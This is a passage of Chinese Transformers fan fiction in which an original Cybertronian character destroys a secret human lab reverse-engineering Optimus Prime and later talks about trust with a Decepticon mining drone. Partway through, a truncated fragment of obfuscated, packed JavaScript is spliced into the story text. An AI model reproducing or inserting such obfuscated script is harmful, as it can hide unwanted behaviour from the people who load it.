理智回归后,生存的难题立刻摆在了他的眼前让他再次发出了惨烈的尖叫,“……等会儿!你!这里是森林啊!!!而且还有熊!!!” “离这里最近的中转站还有20公里!!!!!” “别把我丢在这里!!!” 人类的喊叫都被丢在身后,小油罐车……哦对现在是小货车驾驶座中三维投影出来的“人”心情颇好地挑出了一个电台,哼出了几个调子。 如他所料,人类军阀果然对同类多有防范却对赛博坦人毫无了解。 他轻而易举地通过了军方入口的检查。 黑色的货车停放在空地中,而投影顺着正常的流程跟着其他人类进了其他的帐篷。 投影还能再坚持几分钟,而这对于天灾来说足够他找到基地实验室的入口顺便将一切都烧成灰烬。 塞拉斯和军方想得到外星人的资料? 哈,不管那是不是关于赛博坦人的,天灾都不打算让任何人获利。 货车轻轻一个轻抬脱离了车厢的挂钩,天灾悄无声息地迅速变形,一个身形纤细的大型机便出现在了防守紧密的军方仓库中。 仓库中堆满了士兵们的生活物资,值得一提的是里面还有相当一部分带有赛博坦痕迹的器材。 天灾本想略过这些对他无用的东西,却还是想了想将一些器材收入了自己的子空间。 这种时候就不得不感慨赛博坦人子空间的好用了,天灾感叹一声又使劲往里面塞了塞,直到确定没给人类剩下一台机器才潜行出了仓库。 他熄灭了身上的生物光带,黑色的涂装就是他全天然的保护层,凭借超乎人类想象的巨大体型他没有惊动一个人潜入到了基地实验室的正上方。 脚底下是夯实的土地,他使劲跺了跺脚,没有任何反应。 他翻腾出那张地图,扫描图上的确显示了这里就是基地研究实验室的入口。 但是这种程度的土层可不像是…… 等等。 天灾的处理器突然灵光一闪,短暂的变形后,一辆军方货车再度停在了刚刚赛博坦人所站的地方。 车灯冲着远处的灯塔微微闪光,他没有等待很久,山那头的塔哨很快给了他回应。 地面的石子开始颤动,他依然保持着载具形态观察着。 直到整个山体裂开了一道巨大的、足以容纳三个他也可以进入的缝隙。 怪不得脚底下的土层那么厚实。 他们将整个山体都掏空了。 货车滴滴响着警笛驶入了山体巨大的黑暗中。 27.袭击 货车缓缓行驶的声音没有引起机器任何的反应,黄色的光线在他通过入口时扫描过他的全身,轮胎压过重力检测板,安检的屏幕显示出了绿色的通行证。 此时实验室外的人形投影在通过一层层筛查确认身体上没有任何有害器具后也终于被放入了自己的宿舍。 感谢高科技时代,在筛查环境他还担心了一下证件的问题,但人脸识别系统很简易地显示了他的身份ID。 显然这个基地很受科学家又或者是像塞拉斯那样的上级重视,但显然还没重视到“特别”的程度。 他们还没丧心病狂到对一个运输兵进行全套检查。 投影脚步沉稳地冲着路过的岗哨敬礼,眼睛却不动声色地记录下了他们每一个哨站的人数和位置距离,并迅速规划好了本体在完成任务后可行的逃跑路线。 投影就这样堪称悠闲地掀开了属于自己的宿舍帐篷的篷布。 出乎意料地,宿舍内竟然还有一个人。 天灾立刻控制着投影收好了“非人之处”并做出了一个刚做完任务满身疲惫的士兵在回到休息之所后恰到好处的反应。 他祈祷小小的马脚没有被发现。 好在和他一样震惊的不止他一个。 “亚当斯?你这么快就回来了?”同宿舍的人本在自己的床上玩着手机,见到他一时间愣在了原地,连手上的人物被打倒都没察觉。 如果他收敛的及时,这个人类的观察力应该会被自己的惊讶所覆盖。 “啊,啊是,”被称作“亚当斯”的投影僵硬地冲他笑了笑,“这次的货物很少,装完就回来了。” 舍友还盯着他,眼神中的神情是天灾无法解析的部分,不清楚那是不是想要通知其他人的警戒,为了打消舍友的疑虑,天灾不得不硬着处理器冲着这个“朝夕相处”的舍友搭话。 “看来今天也是很艰难的一天哼?” “我今天可过惨了,通过森林的时候那里的熊又追了我的车,”他适时模拟出不忿的模样,“哈,那些东西就是没长脑子,死性不改。” 天灾尽力回想着那个被他丢在森林的男人在被他丢出去之前辱骂的词语,“你敢相信吗(you''ve gotta be shitting me)他们追了我整整一个公里!” “我都想要通知哨塔了,但那样岂不是显得我们太闲也太菜了,所以我狠狠给了他一拳,哈哈,你真该看看那头熊脸上的呆滞。” 他夸张的吹牛,根据他的资料,这些人类应该是吃这套的。 “话说回来,伙计你没有去巡逻吗?” 他又将话题转回舍友身上。 “哈!”闻言他的舍友似乎终于相信了他,转过头又安心玩起了手机,“说的像我会相信似的……” “我和安德鲁换了班,我可舍不得活动的最后一天。” “不过看来你的确过了很难忘的一天。” 说完也不等天灾回话就带上了自己的耳机。 天灾在那头控制自己的投影也躺下闭上了眼睛。 他悄然舒了口气,那么投影这边就暂时安全了。 货车也在这期间停在了实验室正中央的空地中。 几个拿着检测仪的人在他车厢中四处检查,他忍耐着内部被人类四处翻找的不适,那些人类甚至为了翻找把他的真皮座椅都划烂了。 他们粗暴地将椅垫拆了下来又打开了每一处可供人藏匿的空洞,但赛博坦人的车厢内部本就没有多少传感线路,这没给天灾多大的痛感。 他再一次感慨还好这些人类没想到会有外星人无聊到打劫一个研究基地。 这些大兵的动作也彻底毁灭了安娜留在车内的最后一丝痕迹。 他不用再想办法向塞拉斯掩盖女孩的存在。 塞拉斯在他看来远比这些士兵带给他的麻烦要多。 毕竟这些士兵可没有塞拉斯那样择人而噬的狠辣眼神。 他任由人类动作,如同停在那里的货车真的只是一辆无人驾驶的地球车辆。 天灾看着他们手中的仪器和手中的枪械,暗自庆幸幸好他们只专注于翻找能够藏人的地方因此忽视了他们手底下这台车就是入侵者本人。 Ouch!戳爆轮胎,这可有点儿疼。 天灾暗暗记住了那个拿着叉子的大兵的脸。 “为什么会有补给货车进来?” 此时,一个博士装扮的人在另一侧的走廊拿着手里的资料路过,看见这幅阵仗眼里写满了疑惑。 “不知道。” 负责检查的军官背着手说,“这辆货车本来应该停在车库,车牌号确认无误,但他的货物在半个小时前就已经全部入库,所有名单确认无误。” “包括驾驶员本人刚刚也已经确认回到了自己的宿舍。” “所以……你们‘大张旗鼓’把他开来这里是为了?” “不是我们开的,”军官不耐烦地开口,他们向来和这些吃着税金干着手艺活的读书人不对付,被盘问多了难免心浮气躁起来,“这辆车通过安检后就停在了这里,我们没看到驾驶者出来,也没看到任何人进去。” “至于你的问题,博士,我认为这很显而易见,就是因为不知道所以我们才在这里大张旗鼓。”他隐晦地不满抱怨。 博士转转头,他耳朵不聋,眼睛也没瞎,自然也听见了在军官抱怨后那些从车厢里退出来的士兵嘴里的赞同和瞥过来的眼神。 但他今天没有吵架的兴致,刚刚针对代号红蓝的项目研究得到了突破,他熬了半夜才整理出来,现在正着急向最近不断要求他们给出一星半点“见解”的难缠上级boss们提交手上的材料。 讨了个没趣的博士抱着手上厚厚一叠的纸张耸了耸肩膀,他本就是个科研人员,要不是为了那些机器生命体的研究,也不至于在这里受这些大兵的气。 他转过身就要离开,却又想起来了什么似的,向着这群大兵指了指他们身后的黑色货车。 “对了,你们检查完后把它拉到实验场地05,”他抱着资料步履匆匆,“那里有一项实验需要一台实验车。” “既然来源不明就把它放那里吧,05场地使用的是最高等级的防爆材料,就算出事也闹不到哪里去。” 说完博士就没了人影,检查的大兵们你看我我看你,最后还是那个军官下达了命令,“看什么,照他说的做啊。” 他吼完那些大兵才如梦初醒快速动作起来。 毕竟到时候出事也是实验室那群白大褂担责,他们可是有好好的检查。 天灾心觉好笑,这些士兵要拉着他去实验场地的速度和动作的利落程度可比刚刚翻他车座子检查的动作麻利了不是一星半点。 不过“实验”吗…… 可真不是一个好词。 战术面罩无机质的表面映射出原生体自己惊恐交加的面甲,武器、外装甲、原生质……身体被一层层剥开的感觉又涌上他的传感线路,四只机械爪狠狠嵌住他所有的反抗,让他只能如同失去翅膀的机械鸟任人宰割,货车被士兵们开进亮如白昼的实验场地,地面上残留着不知道是什么东西留下的深坑和不成型的机器零件,高处的单向玻璃只隐隐反射出忙碌走动和背着手看着他的模糊人影。 人类离开他的车厢快速退去,人类……灯光……实验……如同闪回一般将他再度拽回了他最深的噩梦。 单向玻璃后,一个带着帽子的将军难掩脸上的好奇,他盯着场地中央的黑色货车,“如何,贝利博士,我听说你们研究出了……一点成果。” “是的上校,”贝利博士眼中是和机械党的首席如出一辙的疯狂,但面对将军却有所收敛,“代号红蓝的项目在上一次实验中得到了变形方面的突破。” “这里都是自己人,博士,擎天柱就行。”将军纠正他。 博士笑了笑,“擎天柱在上次战斗中遗落了自身的一部分装甲,我们设法回收了一部分,再加上我们在他们降临后收集的各项数据以及对那艘外星飞船的解析,我很荣幸地告诉您……” “我们已经揭开了这些机器生物身上秘密的一角。” “虽然我们还没搞懂他们是如何解决自身全部形变重组后的控制问题的,但是我们意识到,全身变形的困难在于整体性与机体自身的攻击性无法自洽,所以我们转换了思路。” “全部不行,局部呢。” “而我们成功了。” 贝利博士难掩自傲,他挥手,刚从闪回中挣脱的天灾就看见场地对面一个全副武装的人类拿着一把很有赛博坦特色的枪对准了自己。 变形后被隐藏起来的头雕挑了挑眉。 看来人类军方这边也没少整幺蛾子。 擎天柱就这么放心将军事科技交给他们? 如果他真的这么做了那么擎天柱就是个蠢货。 能和他打这么久的霸天虎和威震天也都是蠢货。 他静观其变,另一边得到命令的人类也拉开了保险栓。 手指按下扳机,蓝色的能量光束瞬间迸发! “咻!” 比光束更快的,是那辆黑色的货车! “kukukakuku……” 悦耳的机械转动声透过实验场地优秀的收声器传入单向玻璃内将军与博士们的耳朵,贝利博士第一个认出这并非自己研究产物的动静。 “等等!这不是我们的……” “立刻终止实验!” “来不及了博士!” “铛!” “嘭!!!” 光束不知道被什么东西打歪,有一个漆黑的深坑出现,灰尘四起,掩盖了场上一切的痕迹,贝利博士瞪大了眼睛,脸几乎贴到了玻璃上,他奋力地想要看清楚场地中央的东西。 将军背着手眯起了眼睛,“博士,这也是实验的一部分吗?” “不兰德将军,我们计划的是向您展示变形在武器上的突破,不是……这个!”他伸出手指着灰尘中那个巨大的黑影。 “立刻启动烟雾吸收器!” 贝利博士立刻下令,风扇转动,场地中央那个巨大的黑影也露出了自己的全貌。 那是…… 擎天柱! “擎天柱!!!” 博士尖叫出声,而将军稳住了自己的心神,“不,那不是。” 那绝不可能是汽车人的领袖。 引入将军眼睛中的,是一架浑身漆黑的机甲。 赛博坦人的身形取代了原本停在原地的军方运输货车的身影,流畅若流水般的躯体线条、泛着流光的尖锐装甲、布满全身随着每一次呼吸而闪动的生物光带、灵敏转动的听觉天线,他站在那里就像是一件完美的作品。 完美的战争结晶。 机甲半蹲着,他漫不经心地转头,六个庞大的车轮旋转着归位,闪烁着寒光的手刃与四肢上的刀刃弹出,弹开了他们的试验武器也撕裂开了他周身环绕的灰尘,肃杀之气速起,他在众人惊骇的眼神中缓缓站直身子,战术口罩掩盖住了他脸上的戾气,但从那双似乎可以看透单向玻璃的猩红眼眸中,将军明白自己已经在这个陌生的赛博坦人眼中被判处了死刑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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光学镜光速闪过一条条研究数据,他保留了一部分,篡改了关键的信息,这对于天灾的处理器而言并不算困难,毕竟删除全部数据不难,但他毕竟还处于塞拉斯控制之下,总不好真的空手而归。 对于塞拉斯那条老狐狸而言太过明显,几乎明着告诉他是天灾自己在给他捣乱。 拿回去一部分无关紧要的,塞拉斯就算怀疑,他也有把握让自己在这个老混蛋眼底下蒙混过关。 读取数据的时间总归是无聊的,他蹲在地上,伸出手绊倒了一个慌了神只会在他两脚之间转圈的人类。 在人类倒地期间他发出了一声笑。 也就在此时,一条消息进入了他的处理器。 红蓝的涂装、严肃又温柔的面甲、装着领导模块的胸口…… 那是…… 等等,代号红蓝。 眼前似曾相识的图纸和这些人类在逃跑时嘟囔的尖叫联系起来,他瞬间分析出了一切。 所以,他冷笑,这些人类根本不是他所想的那样,这座基地的一切是因为和擎天柱建立了军事上的联系。 恰恰相对,他们是背着擎天柱和他的汽车人。 他们在逆向研究他们,就像机械党一样。 原生体眼神中没了最后一丝仁慈,他冷着脸站起身,沿着数据线将实验基地内所有的数据全部删除。 你们休想得到任何有意义的东西。 他不再留恋,墙壁在臂刃下如同软纸划破,他掀开这掩盖在山体中的实验基地,尘土落在他的装甲上,流入他的机体而他浑然不觉。 他如同漫步在自己的丛林中的猎杀者,慢条斯理地将人类视若珍宝的线路一点点碾碎。 他冷笑着冲着眼前无比精贵的器材开了火。 接连不断的炮火声终于撕破了森林最后的宁静。 一时之间,倒塌的建筑、奔逃的动物、爆炸的基地,乱成了一团。 在冲天的火焰中,漆黑的赛博坦人踏着人类的尖叫在废墟之中现出了身。 他是带来毁灭的哈迪斯,人类引以为傲的火力在他面前失了效,子弹打在天灾的小腿装甲上,只发出了零星几声脆响。 他冲着徒劳抵抗的士兵比出了一个手势,成功让那些难掩恐惧的人类大兵破了防。 又是一发肩炮,他炸毁了他们的所有岗哨,至此,这个基地彻底失去了限制他的最后一丝能力。 另一边的投影也在乱成一团的人类惊恐的目光中化成了抓不住的光点消散。 小子,赛博坦科技。 他嗤笑一声就准备变形离开。 在离开之前,他余光瞥见了一辆军方的运输油罐车。 他戳了一声口哨。 这可比机械党基地内伪装用的民用油罐车好看也大多了。 蓝光一扫,人类还没反应过来,攻击的目标已经彻底消失。 “What the hell!” 几句x式脏话被天灾甩在身后。 他满心畅快。 之前划伤他轮胎的大兵此时就在他前方因为炮弹的余波被震躺在了地上。 油罐车在大兵惊恐的目光中转着自己又大了一圈的轮胎擦着他的鼻尖扬长而去。 徒留下脱力的大兵瘫倒在地上再爬不能。 他变形出一只手冲他竖起一个中指。 火种从未如此跃动,他大笑着,踩着人类的咒骂混入夜色。 至此,军方第一研究基地,彻底沦陷。 28.第二次见面 x方基地内的混乱一直持续到天亮才将将控制住,兰德将军巡视着毁灭过后的废墟,在几个小时前这里还是他们号称绝不可能被击溃的第一基地,在他身旁坐着灰头土脸、神色低沉的贝利博士。 贝利博士嘴里嘟囔着:“没了……都没了……我的研究成果……” 昨晚的黑色死神不知道对他们的系统做了什么手脚,所有的电子备份都被删除了,哪怕是最顶尖的黑客也对电脑中空无一物的储存器束手无策,可以说他们多年的研究在昨晚功亏一篑,就连纸质版的资料也都被一把火烧了个干净,没有一丝一毫找回的可能性。 针对汽车人领袖擎天柱与赛博坦人的逆向研究实验,彻底宣告失败。 对于在这个项目中倾注了所有心血的贝利博士而言,的确可以称得上是巨大的打击。 兰德将军皱着眉看不出在想着什么,人类的鼻尖还能闻到硝烟的味道,烧焦的树木拦住了运输的路线,车辆都被挡在了山下,来往的人员只能一边等待援助一边靠着人力搬运着倒塌的建筑,整个山体都在昨晚的突然袭击中坍塌了,仅剩下的部分也留下了机甲炮火的痕迹。 兰德将军因为常年使用枪械而磨出了薄茧的拇指无意识地摩挲着口袋中一颗被压扁的子弹壳,那是昨晚打在机甲身上后掉落下来的,在火势控制住后他从地上捡起了这个弹壳。 那双无机质的眼睛又出现在将军的脑海中,一个曾经在他的脑袋里转悠了无数次的想法终于成形,他毫无留恋地转身,无视了贝利博士的失意,他只留下一句等待指示就离开了,留在原地的几个科学家你看我我看你叹了口气任劳任怨地加入到了收拾残局的队伍中。 机械党的基地中,天灾靠在仓库一边的门框上百无聊赖地嚼着一小块能量晶体。 K-19给他的精纯能量自然不可能暴露给这群贪得无厌的人类,是以他拿了些小块的晶体权当是零嘴。 在他面前是来来往往的人类士兵,这些人类一忙起来其实就不再能轻易辨认出来谁是谁了,再加上机械党统一的服装,从他的角度看来更像是一群噬铁虫在他的脚底下四处乱窜。 其实刨除他们是机械党的身份,乍一看有点儿可爱,但其实这事不能细想,不然还有点儿恶心。 反正天灾是打死不愿意在这种时候变形进去休息的,想想一群噬铁虫在自己身边来回走…… 他的电镀层都要炸起来了。 原生体在门口自娱自乐,人类在仓库更里面的电脑前解析着他所带来的资料,之前他所塑造出来的仅可被首领一人使用的假象在此刻发挥了作用,天灾没什么大动作自然没什么人愿意去管他。 “Brilliant!”首席科学家大喊,手指在电脑上飞出残影,“军方果然掌握了更多的材料!看看这些擎天柱的数据,他简直、简直神奇!难怪他们将他设为首要研究对象,这些武器的数据只需稍加修改,机械党的能力就能再次得到提升!” 天灾看似毫不在意他们得到了什么东西,实际上他的音频接收器正偷听着他们的动静,虽然资料经过了他的修改和删减,但他毕竟不是专职的科学家,他得守在这里以免真的出现疏漏。 好在没有出现最坏的情况。 鉴于天灾曾经亲自尝试过用自己现在东拼西凑来的机甲硬抗军方逆向研究出来的激光武器,他没有删除那份武器的设计图。 这可能就是首席没能发现天灾动的手脚的原因。 那份武器的资料更新时间就在昨晚,他们笃定原生体没有这样的手段和胆子去进行修改——他们的傲慢。 见到首席的反应天灾放下了心,如果连他这样的外装甲都无法破防,那么那份武器的资料对于赛博坦人而言就毫无威胁。 “干得漂亮,”塞拉斯显然也是兴奋的,他罕见地夸奖了天灾,“你看,你已经找到了你的位置。” “而我从不厚此薄彼。”他冲着天灾扬起一抹弧度,老实讲这比看到人类像噬铁虫在爬更让人恶心,但天灾还是设法让自己露出了一个“不情愿但是隐晦在开心”的表情。 塞拉斯大手一挥宣布了他今明两天无事的通告。 小油罐车暗暗翻了个白眼,不一样是十个小时的“自由时间”,说的像是给谁的恩赐一样。 人类管这叫什么来着,PUA?这份PUA他可不吃。 yue. 他沉稳地点头不缓不急地驶离,而塞拉斯转过身将注意力全部移向了那份宝贵的资料。 小油罐车漫无目的地绕了一圈又驶向了杂兵们的矿洞。 上次可以被解释为是意外但他还记得机械党给自己安装的GPS定位还开着,为了防止那些几乎失去反抗能力的伤员们被塞拉斯发现,他和K-19更改了见面方式。 之所以选择了K-19和自己进行接洽也是因为整个矿场就K-19一个可以随意活动的机子。 换了个载具模式变得更加帅气的小油罐车停在了距离矿洞几英里外的森林中,两声鸣笛后,在高大的红木后走出来了一架紫色的小飞机。 “天灾?”小飞机歪歪头。 “是我。” 天灾变形,重新粉刷了喷漆新鲜出炉的机甲便出现在了K-19面前。 K-19笑了笑,在一块石头上坐下了,又拍了拍自己身侧的位置示意天灾也坐下来。 他没有询问他为什么突然换了载具模式,也没有询问天灾身上哪怕是崭新的喷漆也遮挡不住的炮火痕迹是怎么回事,他只是将手里的能量块递给他,让能量需求巨大又不好意思明说的小油罐车慢慢吃。 一时之间两个机之间又陷入了沉默,天灾是因为不知道如何处理和“同伴”之间的尺度,在此之前他还从未和任何一个机有过这么平和的……相处。 他一边咬着能量块一角一边偷偷打量身侧这架浑身灰扑扑的矿机。 基础的数据早在他们第一次见面天灾就已经将之烙印进了自己的数据库,但那天天灾其实并没有仔细看过K-19,只是匆匆录入了一些基础数据。 一些微风吹过,K-19明显刚从矿场中出来,身上还带着一股新鲜的泥土味,天灾吞下一小块能量,甜味瞬间安慰了他忙碌了一晚的油箱,得到满足的感觉让他不自觉眯起了光学镜。 那架叫作K-75的小飞机曾经告诉他K-19是与众不同的,但是天灾其实注意到了,每一架量产机都是与众不同的。 就像地球人的俗语,地球上没有两片完全相同的树叶,每一架量产机都有着自己的小特点,在和他们相处渐久后天灾就发现了这点。 比如K-75的光学窥视孔会更亮,性格更跳脱,S-569老兵气息更重,抬手的时候会下意识歪头,H-45更年轻也更冲动,动起来的时候身上的生物光带会不自觉地按照规律的频率闪烁,而和其他矿机不同的,K-19更沉稳,身上的磨损更多,身上的生物光带也并不完全是深紫色的,仔细看会发现其中夹杂着一些蓝色。 每架机子都有各自的喜好,除去比正常的机子会更迟钝一些,实际上如果多耗费一些耐心,去倾听他们的感受和想法,这些小飞机和其他自然诞生的赛博坦人没有差别。 天灾做不到将他们视作消耗品看待。 就在这时,K-19伸出一只手接过了天灾手中空了的能量匣,看着小油罐车的迷茫他有些忍俊不禁。 “已经空了,我还带了一些,你不必节省。” 天灾的面甲有些发红,怎么和这家伙的相处总是这么尴尬,第一次见面有些失礼就算了,怎么现在还能走神到咬着空的能量匣…… 看了眼油箱的储存量,他索性将K-19带过来的能量一股脑都丢进自己的子空间,想不到怎么和“同伴”相处他索性摆烂了。 他有些赌气,反正最窘迫的时候这架飞机又不是没见过,他可是整整一天一夜没休息了,懒得再去掰扯这些无关紧要的礼节。 说到底为什么他的数据库中会有这些莫名其妙的东西? 只见黑色的油罐车猛地置换出一口浊气后躺到了身后柔软的雪地上。 紧绷的机体自然地舒展,油压舒缓,体内系统自动校准,身后的烟囱散发出一些白色的烟雾,机体自动关闭了武器界面,天灾突然意识到这好像是他的机体第一次如此放松。 明明只是第二次见面? 他转过头看向刚刚就一直没出声的K-19,量产此时正看着眼前的森林发呆,一些不怕生的小动物见两个庞然大物不动弹便认为危险解除,大胆些的鸟雀正在他们身前不到十米的地方寻找能吃的食物。 K-19就看着它们出神。 “喂,”小油罐车开口,“你这家伙真的就这么信任我不会突然攻击你吗?明明我们只是第二次见面。” 面对天灾的突然“质问”,K-19只是回了神抱着膝盖回他道:“你不会。” “虽然没有什么自信,但是一架机的心思透过光学镜是可以看出来的。” “就像威震天陛下的光学镜中是无法停止燃烧的愤怒,而其他的汽车人眼里是无法得知未来的绝望和对战争的麻木。”K-19一个个说过去。 “就像我们一样。”他想了想,补充。 “而你不一样,你的眼睛里……很干净。” “愤怒、杀意,是的,但你很清楚你的敌人是谁,同样也没有将刀刃对准我们。” “你不会攻击我们,就像你向我承诺的那样,你信守你的誓言,而我相信我的直觉。” “所以这也是为什么你们接纳了我?” K-19转过头,声音轻快:“因为你看起来很饿。” “而且我们不攻击中立派。” 天灾突然坐起来,吓跑了在他们跟前觅食的鹿。 “又是这句话,中立派、汽车人、霸天虎,你们将这些看的很重要,是量产机的底层代码在强制你们执行吗?而且说起来你们到底为什么管擎天柱叫作汽车人的卒子?议会的走狗又是什么,难道他不是汽车人的最高领袖吗?” 他一股脑将初见时的疑惑问出声,“我的数据库显示汽车人的最高领袖只有擎天柱一人,而所谓的议会更是在四百万年前战争掀起时就被群情激奋的人们推翻了。” “如果是一两个机子嘴里的俗语还能理解,可是我所接触的量产机几乎都提到了这个词,在我第一次进入你们的洞穴时,不止一架机子将我当做擎天柱,辱骂他是‘棋子’。” 他认真地盯着K- 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“‘汽车人的卒子’和‘议会的走狗’那个部分。”飞行单位又深深置换了一口气,将光学镜前所有弹出的红色警告都压制回了CPU中。 “……在这之前从不知道这些东西会出现机体报警。”K-19心有余悸,“这简直……有些恐怖。” 一瞬间小油罐车的处理器蹦出来了多种结果,但看看K-19散发出的有些不稳的磁场,他还是没有继续追问下去。 他将这些信息记录进了调查事项,着重标记了红色。 他松开扶住K-19的手,换了个话题。 “那么就暂且别想了,我不希望好好的机子在和我见面后破破烂烂的回去,再传出什么奇怪的谣言,让那些咋咋呼呼的小飞机徒增惊吓。” K-19此时也缓了过来,听见天灾的话笑了几声,“他们不会的,我们嘴很严的。” “就像你偷摸捡机藏起来到现在也没被发现?”天灾瞥他。 “当然,”说到这个K-19甚至骄傲起来了,“不过不止我一个人的努力,其他矿场的同伴也在帮忙,而且长官们很忙,顾不上几架量产的失踪。” “……你在骄傲什么劲儿啊,”经过刚才那一遭他们之间的距离也无形拉近了很多,天灾吐槽了一句,“而且他们的伤怎么办,现在的医疗条件不足以彻底将他们治好吧?K-75的锈蚀情况并没有得到什么好转吧?” 他真情实意地担忧,尽管成为同伴的时间尚短,但他记得那些量产机对自己散发出来的善意。 K-19的机翼随之降了下去,紧紧贴着自己的机身,甚至让人幻视出一些可怜来。 飞行单位的机翼,好作弊的一个东西。 K-19神情落寞,“我会尽力从击倒长官那里借一些药物出来,但是这些严重的伤势我们没有医官没办法自行处理。” “霸天虎那边只有击倒一个医生?”天灾挑了挑眉。 他不清楚两方阵营的人员组成,面对自己两个sire的邀请实际上也并没多少实感,此时因为涉及到了同为“同伴”的量产们才打起精神听K-19解释道:“自战争开始,医疗资源就是两方阵营最重要的争夺目标之一,医官自然也成了被争夺的对象。” “我没把握能恳求到击倒长官的帮助。” “霸天虎这边只有击倒一个医官?” “对,”K-19点头,“其实还有吊钩长官,但他在战争白热化期间和大部队失散,目前没有在地球的通讯范围内,我没把握能联系到他,而且恳求他的概率……” 天灾耐着性子听完,微微沉吟,他们可以等,但是伤员们的伤势未必等得到下一个循环。 他思索着,突然想到了子空间中被他“收缴”上来的人类所研发的那些仪器。 灵光一闪,小油罐车的光学镜又亮起来了。 “我有个好主意。” 他打了个响指,而K-19捧场地问,“是什么?” “霸天虎不行,汽车人呢?”光学镜闪闪发亮,他勾起一抹得意的弧度,“我有把握让他们来帮我们。” K-19还有些担心,身为杂兵他只在威震天陛下和擎天柱交火时远远瞥见过几眼领袖的模样,拿不准他的性格会不会帮忙,但见小油罐车胸有成竹的样子,他决定相信这个同伴。 K-19于是也笑起来。 实际上矿机并没有比小油罐车大上多少,此时他笑出声天灾才察觉这个看似经历过很多的飞行单位有着一口很清爽的嗓音。 解决了当务之急,天灾心情颇好地拍了拍自己腿部装甲上的灰尘,冬季森林的风也带了一丝凛冽但对于赛博坦人而言如今的温度只能称得上正常,雪花甚至给他的内部齿轮带来了一丝舒爽。 他们又陷入了沉默,但氛围却比一开始的僵硬更加柔和。 良久,就在离开的时间到了的时候,天灾像是想到了什么,他又转过头直视着K-19的光学镜问道: “最后一个问题。” “你收到了抓捕我的命令吧。” “为什么没有将我送给威震天?” 矿机怔愣一瞬,随机冲着他笑了。 “因为你不想来。” 29.我有一个好点子 这个问题实际上有些讽刺,尤其考虑到被询问的机子是一个以“欺骗”作为词根的霸天虎。 但K-19却笑了。 “信任一个机子还需要理由吗?” 他一边说一边盯着小油罐车将全部的物品都收入了自己的子空间才露出轻松。 “信任是自然产生的,就像你学会变形、转动你的车轮、加速你的引擎,你害怕脱轨,可最终你会知道什么是可以信任的。” “而你所需要做的就是让它自然发生。” 他解释,然而小油罐车却依然不明白,执拗的面甲和擎天柱的面甲相重合,K-19暗自感慨该说果然不愧是领袖的造物吗,在执拗方面他们简直如出一辙,又或者这部分其实遗传自他们的首领? K-19有些走神,而小油罐车在此期间依然盯着他,看着今天必须要得出一个确切的答案才肯罢休的样子。 杂兵的脑模块思考几遍也没能找出合适的答案,他苦恼地开口:“如果硬要一个答案的话……” “可能因为……” “你是我们的同类吧。”他说。 没有继续的追问,但K-19知道对面张张嘴却没能说出话来的地面单位是想说什么,这对于情绪模块基础为零的原生体而言的确是个难以理解的议题。 “……同类?” 油罐车皱起了眉,看上去相当不满意自己得到的答案。 “可我是一架军品,你不是,”天灾反驳,“我是地面单位,而你是一架飞机,我被创造来毁灭,而你为挖矿而诞生。我看不到一点我们相同的地方。” 如若是其他的机子说出这样的话必定带着难以掩盖的歧视与傲慢,但K-19没有从他的语言中感受到一丁点的不尊重,小油罐车只是在陈述事实,疑惑K-19给予他的答案。 因此杂兵笑着点头,神色平静,“你说的没错,”他赞同,“我们从里到外没有一点相同的地方。” “我是飞机,而你是一辆油罐车,我上线自霸天虎的流水线车间,只会和矿场打交道,你诞生自外界,拥有高精尖的武器,有自保之力,诚如你所讲,我们并不相同。” “但我们同样没有选择。” “我们都不是自愿加入这场战争中的。” “我和我的兄弟们也不是自愿选择这些载具形态的,这些机翼、爪子、武器……瞧瞧我们是多么恐怖的军队啊。” “可我们没有选择。” 他无奈地转了转自己的音频接收器,杂兵的腿部轴承在这时候开始发出不祥的响声,他习惯性的屈膝,让那些杂质顺着机体的自清洁系统排出体外,顺势坐下让自己的机体得到休息。 “我们的君主需要我们,于是我们就诞生了,不是为了获得幸福,不是为了让自己的火种延续下去,甚至不是为了某个简单的愿望而诞生。 “前线需要有人牺牲,于是我们一个接一个,从流水线上迷茫地上线然后投入战争,就这么简单。” “我很抱歉指出这点,但我注意到了你身上的伤。”他继续说,露出了显而易见的歉意,“你告诉我们你是为了毁灭擎天柱与威震天而诞生的,但一架普通的大型机不可能制造出你身上那样的伤势。” “我不知道你的过往,也无意去探究你的过去、挖出你的伤口,但我知道一个机子别无选择会露出怎样的神情。” K-19看着如临大敌的小油罐车笑了,拍了拍自己身侧的草皮。 天灾看着他,坐在了他身侧。 草皮被压弯,盘根错节的草根下是惊慌失措的哺乳类,它们胡乱地绕着K-19和天灾的机体跑动,还当这能够庇护他们的庞大遮挡是藏身之所,一头小鼠慌不择路下一头撞上K-19的推进器,然而两个罪魁祸首对这场细小的慌乱毫无察觉。 霸天虎磨损的指爪从子空间中取出了一小块石头,他将这平平无奇的东西对着太阳抬起,上面生物的雏形已经隐约可见,K-19一边打磨着这块石头一边继续说着。 “你知道当我……我们看到你的那一刻在想什么吗?我们在想,普神啊,是擎天柱来了,我们一定会死在他手里。” “可是我们活下来了,你也不是擎天柱。” “我们又转瞬犹豫,我们的存在暴露给了一个没有加入任何阵营的机子,他会怎么对我们?我们要先下手为强吗?不管我们怎么狡辩,可无法改变我们是叛逃者,在霸天虎中是畏惧未来而选择逃避的懦夫,我们不可能再找到任何一个容身之所。” “我们手无寸铁,而你看起来……十分凶狠。” “我尝试攻击你,”他坦诚,丝毫没有遮掩自己当初想法的打算,“然后我收到了声波长官的通知。” “上面写的很清楚,我们要尽力拉拢你、提防你,如果你不能加入我们,那就消灭你。” “我意识到你的处境其实和我们一样。” 杂兵自顾自地低下头重新用自己的爪子修饰石头的形状,尖锐的犬齿、警觉竖起的耳朵、蓄势待发的扑食动作,天灾本以为自己面对眼前机子的坦白会感到愤怒,然而实际上他如今却十分冷静,石头的碎片簌簌掉落,没有发出一声噪音。 “所有看似有得选的岔路都已经被堵死了,最后你唯一能靠的就是自己。” “你有注意到吗,当你进入我们的洞穴时,你的磁场、你的每一个跳动的电子节点都在向我们的集合磁场融合。” “于是我们想,眼前这个来势汹汹的机子一定不会成为杀死我们的那个机子,因为眼前的这个机子和我们是一样的同伴。” 他将手中的石头又收回去了,而小油罐车这才将注意力从他灵巧翻动的手转移到他的面甲上。 “而且你当时看起来很糟糕。” “于是你们就这么轻易交出了你们的信任。” 